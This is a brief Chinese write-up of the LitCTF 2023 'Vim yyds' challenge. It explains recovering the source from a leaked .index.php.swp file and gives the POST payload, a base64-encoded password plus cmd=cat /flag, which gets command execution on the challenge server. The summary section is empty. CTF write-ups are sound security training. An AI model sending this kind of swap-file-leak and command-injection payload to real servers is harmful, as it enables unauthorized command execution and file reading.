en~

Problem: [LitCTF 2023]Vim yyds

[[toc]]

思路

• 解题大致思路
  下载.index.php.swp 分析代码，给password的内容进行base64编码
  然后使用post发送请求

EXP

• 具体攻击代码
  password=R2l2ZV9NZV9Zb3VyX0ZsYWc=&cmd=cat /flag

总结

• 对该题的考点总结